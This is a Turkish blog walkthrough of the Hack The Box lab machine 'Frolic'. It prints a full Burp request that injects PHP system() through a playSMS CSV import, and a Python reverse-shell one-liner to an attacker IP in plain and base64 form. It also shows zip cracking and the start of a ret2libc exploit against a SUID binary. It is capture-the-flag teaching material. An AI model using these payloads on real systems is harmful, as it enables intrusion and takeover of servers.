İçeriğe geç

Frolic

Tarih: 06/09/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Frolic - HTB Kolay Linux

Walkthrough

nmap taraması:

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# nmap -p- -A 10.10.10.111 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 13:55 EDT
Stats: 0:01:24 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 13:56 (0:00:00 remaining)
Nmap scan report for 10.10.10.111
Host is up (0.074s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/5%OT=22%CT=1%CU=38858%PV=Y%DS=2%DC=T%G=Y%TM=613504D5
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=106%TI=Z%TS=8)SEQ(SP=106%GCD
OS:=1%ISR=107%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11
OS:NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=712
OS:0%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h45m20s, deviation: 3h10m31s, median: 4m39s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2021-09-05T23:31:11+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-05T18:01:11
|_  start_date: N/A

TRACEROUTE (using port 8888/tcp)
HOP RTT      ADDRESS
1   70.34 ms 10.10.14.1
2   71.40 ms 10.10.10.111

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.49 seconds

Birçok farklı port açık bundan dolayı uzun bir bilgi toplama aşaması oldu ancak ben tavşan deliklerini atlayarak devam ediyorum.

http://forlic.htb:9999/admin/ sayfasının kodlarına baktığımda http://forlic.htb:9999/admin/js/login.js isimli özel bir javascript dosyası buldum ve bunun kodlarına baktığımda credential ele geçirdim.

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

Buradaki credentiallar ile sisteme giriş yaptığımda beni aşağıdaki gibi bir not karşıladı.

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .......... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .........! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .......... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .......... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .......... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .......... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .......... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .......... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .......!.! !!!!! !.?.

Execute Oook! short code to text işlemi ile decode ettiğimde aşağıdaki sonucu elde ettim.

Nothing here check /asdiSIAJJ0QWE9JAS

http://forlic.htb:9999/asdiSIAJJ0QWE9JAS/ adreine gittiğimde yine bir şifre ile karşılaştım ancak bunu deode edemedim. Bunun üzerine abse64 decode edip bir dosyaya yazmayı denedim böylece ne dosyası olduğunu anlayabilirdim.


┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# cat chipper        
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# cat chipper| base64 -d > chipper2

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# cat chipper2                     
PK     É7M#�[�i index.phpUT �|�[�|�[ux
                                          ^D�J�s�h�)�P�n
                                                        ��Ss�Jw�܎�4��ُk�z��UȖ�+X��P��ᶇ��л�x_�N�[���S��8����J2S�*�DЍ}�8dTQk������j_�����'xc��ݏt��75Q�
                                                                                                                                                   ���k,4��b)�4F��  ��������&q2o�WԜ�9P#�[�iPK      É7M#�[�i ��index.phpUT�|�[ux
                                                                   PKO                                                                                                                                                              
┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# file chipper2
chipper2: Zip archive data, at least v2.0 to extract

Bir zip dosyası ve parola korumalı. John ile kolay bir şekilde kırdım.


┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# /usr/sbin/zip2john chipper2                                                                                                                           1 ⨯
ver 2.0 efh 5455 efh 7875 chipper2/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
chipper2/index.php:$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$/pkzip2$:index.php:chipper2::chipper2

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# echo 'chipper2/index.php:$pkzip2$1*2*2*0*b0*269*145bfe23*0*43*8*b0*145b*89c3*5e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d49ce339*$/pkzip2$:index.php:chipper2::chipper2' > chipper2john

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# john chipper2john --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (chipper2/index.php)
1g 0:00:00:00 DONE (2021-09-05 14:53) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Daha sonrasında içini açtım.


┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# unzip chipper2 
Archive:  chipper2
[chipper2] index.php password: 
  inflating: index.php               

┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# ls                    
chipper2  index.php

┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# cat index.php 
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

İfadeyi hex'ten text'e dönüştürdüm.

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Daha sonrasında bu ifadeyi base64 ile decode ettim.


┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# cat hex2text           
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# cat hex2text| base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

Son olarak elimizde bir brainfuck var bunuda decode edelim. (https://www.splitbrain.org/_static/ook/)

idkwhatispass

Dosya dizin keşfi yaparken aşağıdaki sonuçları bulmuştum.

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# gobuster dir --add-slash --expanded --follow-redirect --url http://forlic.htb:9999/  --no-error -t 50 --extensions php,txt,html --wordlist /usr/share/wordlists/dirb/big.txt| tee gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://forlic.htb:9999/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Add Slash:               true
[+] Follow Redirect:         true
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/05 14:03:35 Starting gobuster in directory enumeration mode
===============================================================
http://forlic.htb:9999/.htaccess/           (Status: 403) [Size: 178]
http://forlic.htb:9999/.htpasswd/           (Status: 403) [Size: 178]
http://forlic.htb:9999/.htpasswd.txt        (Status: 403) [Size: 178]
http://forlic.htb:9999/.htaccess.txt        (Status: 403) [Size: 178]
http://forlic.htb:9999/.htpasswd.html       (Status: 403) [Size: 178]
http://forlic.htb:9999/.htaccess.html       (Status: 403) [Size: 178]
http://forlic.htb:9999/admin/               (Status: 200) [Size: 634]
http://forlic.htb:9999/backup/              (Status: 200) [Size: 28] 
http://forlic.htb:9999/cgi-bin/.html        (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/                 (Status: 403) [Size: 178]
http://forlic.htb:9999/loop/                (Status: 403) [Size: 178]
http://forlic.htb:9999/test/                (Status: 200) [Size: 84046]

===============================================================
2021/09/05 14:05:43 Finished
===============================================================

┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# gobuster dir --add-slash --expanded --follow-redirect --url http://forlic.htb:9999/dev/  --no-error -t 50 --extensions php,txt,html --wordlist /usr/share/wordlists/dirb/big.txt| tee gobuster1
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://forlic.htb:9999/dev/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Add Slash:               true
[+] Follow Redirect:         true
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/09/05 14:14:05 Starting gobuster in directory enumeration mode
===============================================================
http://forlic.htb:9999/dev/.htaccess/           (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/.htpasswd/           (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/.htaccess.html       (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/.htpasswd.txt        (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/.htaccess.txt        (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/.htpasswd.html       (Status: 403) [Size: 178]
http://forlic.htb:9999/dev/backup/              (Status: 200) [Size: 11] 
http://forlic.htb:9999/dev/cgi-bin/.html        (Status: 403) [Size: 178]

===============================================================
2021/09/05 14:16:11 Finished
===============================================================


┌──(root💀kali)-[/home/…/Desktop/HTB/Linux/Frolic]
└─# curl http://forlic.htb:9999/dev/backup/  
/playsms

Şimdi playsms sayfasına giriş yapabiliyorum.

http://forlic.htb:9999/playsms/index.php => admin:idkwhatispass

Searchsploit ile arama yaptığımda aşağıdaki videoyu buldum.

https://www.youtube.com/watch?v=KIB9sKQdEwE

Bu videoda nasıl manpüle edildiği anlatılmış bende bir tane csv dosyası oluşturdum. Burp ile araya girdim ve daha sonrasında user agent kısmından payloadımı göndererek reverse aldım. İşlemleri aşağıda verilmiştir.


POST /playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP/1.1
Host: forlic.htb:9999
User-Agent: whoami
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------298005074236352148901336251475
Content-Length: 456
Origin: http://forlic.htb:9999
Connection: close
Referer: http://forlic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Cookie: PHPSESSID=at6d85pk22psbp646oel28k1l6
Upgrade-Insecure-Requests: 1

-----------------------------298005074236352148901336251475
Content-Disposition: form-data; name="X-CSRF-Token"
cafc1c0d3f8f052402725890b05de9ff
-----------------------------298005074236352148901336251475
Content-Disposition: form-data; name="fnpb"; filename="hack.csv"
Content-Type: text/csv
Name,Mobile,Email,Group code,Tags
<?php system($_SERVER["HTTP_USER_AGENT"]); ?>,2,3,4,5
-----------------------------298005074236352148901336251475--

Bu isteğime cevap olarak aşağıdaki gibi bir sonuç aldım.

...

Group code</th>
                <th width="15%">Tags</th>
            </tr></thead><tbody>
                            <tr>
                            <td>1.</td>
                            <td>www-data
</td>
                            <td>2</td>
                            <td>

...

Şimdi reverse alalım. python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",1111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ifadesini base64 ile encode ettim: echo 'cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxMC4xMC4xNC4xOCIsMTExMSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bigiL2Jpbi9zaCIpJwo=' | base64 -d | bash. User agent kısmına bunu yazdım.

┌──(root💀kali)-[/home/…/HTB/Linux/Frolic/zip]
└─# nc -lvp 1111                                                         1 ⨯
listening on [any] 1111 ...
connect to [10.10.14.18] from forlic.htb [10.10.10.111] 46176
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ /bin/bash
/bin/bash
www-data@frolic:~/html/playsms$ alias ls="ls -al"
alias ls="ls -al"
www-data@frolic:~/html/playsms$ cd /home
cd /home
www-data@frolic:/home$ ls
ls
total 16
drwxr-xr-x  4 root  root  4096 Sep 23  2018 .
drwxr-xr-x 22 root  root  4096 Sep 23  2018 ..
drwxr-xr-x  3 ayush ayush 4096 Sep 25  2018 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep 25  2018 sahay
www-data@frolic:/home$ cd ayush
cd ayush
www-data@frolic:/home/ayush$ ls
ls
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt
www-data@frolic:/home/ayush$ cat user.txt
cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0
www-data@frolic:/home/ayush$

İçeride incelemeler yaparken SUID biti etkin olan bir binary buldum. String ile baktığımda aklıma buffer overflow geldi ve bazı kontroller gerçekleştirdim.

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 38K Mar  6  2017 /sbin/mount.cifs
-rwsr-xr-x 1 root root 34K Dec  1  2017 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 43K May  8  2014 /bin/ping6
-rwsr-xr-x 1 root root 30K Jul 12  2016 /bin/fusermount (Unknown SUID binary)
-rwsr-xr-x 1 root root 39K May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 26K Dec  1  2017 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 38K May 17  2017 /bin/su
-rwsr-xr-x 1 root root 154K Jan 28  2017 /bin/ntfs-3g  --->  Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
-rwsr-xr-x 1 root root 7.4K Sep 25  2018 /home/ayush/.binary/rop (Unknown SUID binary)
-rwsr-xr-x 1 root root 52K May 17  2017 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
...
$ strings rop | more
strings rop | more
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
strcpy
puts
printf
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
UWVS
t$,U
[^_]
[*] Usage: program <message>
[+] Message sent: 
;*2$"0
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7209
--More--q
$ $  cat /proc/sys/kernel/randomize_va_space
 cat /proc/sys/kernel/randomize_va_space
0

Harika adresler dinamik bir şekilde değişmeyecek! Binary'i yi kendime aldım ve eip adresini bulmayı denedim.


┌──(root💀kali)-[/usr/share/metasploit-framework/tools/exploit]
└─# ./pattern_create.rb -l 60
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9

gdb ./rop
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9
Starting program: /opt/PEASS-ng/linPEAS/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9

Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()

┌──(root💀kali)-[/usr/share/metasploit-framework/tools/exploit]
└─# ./pattern_offset.rb -q 62413762
[*] Exact match at offset 52

Böylece eip için gerekli buffer alanımızı belirlemiş olduk. Düzgün çalıştığının kontrolünü gdb ile yaptım ve eip'den sonra heryere C yazdırdım.


(gdb) run $(python3 -c 'print("A"*52,"B"*4,"C"*100,sep="")')
The program being debugged has been started already.
Start it from the beginning? (y or n) Y
Starting program: /opt/PEASS-ng/linPEAS/rop $(python3 -c 'print("A"*52,"B"*4,"C"*100,sep="")')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xffffd3c0: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd3d0: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd3e0: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd3f0: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd400: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd410: 0x43434343  0x43434343  0x43434343  0x43434343
0xffffd420: 0x43434343  0x00000000  0xf7fae000  0xf7fae000
0xffffd430: 0x00000000  0x7c6ffc1c  0x3f33e20c  0x00000000
0xffffd440: 0x00000000  0x00000000  0x00000002  0x080483a0
0xffffd450: 0x00000000  0xf7fe88f0  0xf7fe3230  0xf7ffd000
0xffffd460: 0x00000002  0x080483a0  0x00000000  0x080483c1
0xffffd470: 0x0804849b  0x00000002  0xffffd494  0x08048540
0xffffd480: 0x080485a0  0xf7fe3230  0xffffd48c  0x0000001c
0xffffd490: 0x00000002  0xffffd5fa  0xffffd614  0x00000000
0xffffd4a0: 0xffffd6b1  0xffffd6c5  0xffffd703  0xffffd730
0xffffd4b0: 0xffffd73d  0xffffd747  0xffffd75a  0xffffd77c
0xffffd4c0: 0xffffd79f  0xffffd7af  0xffffd7c3  0xffffd7d0
0xffffd4d0: 0xffffd7ea  0xffffd848  0xffffd859  0xffffd874
0xffffd4e0: 0xffffd87f  0xffffd89d  0xffffd8ae  0xffffd8fa
0xffffd4f0: 0xffffd902  0xffffd91f  0xffffdf0e  0xffffdf26
0xffffd500: 0xffffdf3e  0xffffdf53  0xffffdf6c  0xffffdf81
0xffffd510: 0xffffdf99  0xffffdfae  0xffffdfca  0xffffdfd3
0xffffd520: 0x00000000  0x00000020  0xf7fd0550  0x00000021
0xffffd530: 0xf7fd0000  0x00000010  0x1f8bfbff  0x00000006
0xffffd540: 0x00001000  0x00000011  0x00000064  0x00000003
(gdb)

Şimdi exploit edelim. Bunun için https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc sayfasından yararlandım. Aynı zamanda exploiti yazarken https://infosecwriteups.com/ret2libc-attack-in-lin-3dfc827c90c3 sayfasından da yardım aldım. Şimdilik kütüphaneden /bin/sh'a atlama tekniinden bahsetmeyeceğim. İlerleyen süreçte bununla ilgili bir yazı yazacağım.

Kütüphaneleri ve değişmeyen adreslerini görüntüledim.


www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
    linux-gate.so.1 =>  (0xb7fda000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
    /lib/ld-linux.so.2 (0xb7fdb000)
www-data@frolic:/home/ayush/.binary$

system ve exit ifadelerine ihtiyacımız var. Bunların adreslerini elde ettim.


www-data@frolic:/home/ayush/.binary$ readelf -s  /lib/i386-linux-gnu/libc.so.6 | grep system
</.binary$ readelf -s  /lib/i386-linux-gnu/libc.so.6 | grep system           
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

$ readelf -s  /lib/i386-linux-gnu/libc.so.6 | grep exit  
readelf -s  /lib/i386-linux-gnu/libc.so.6 | grep exit
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

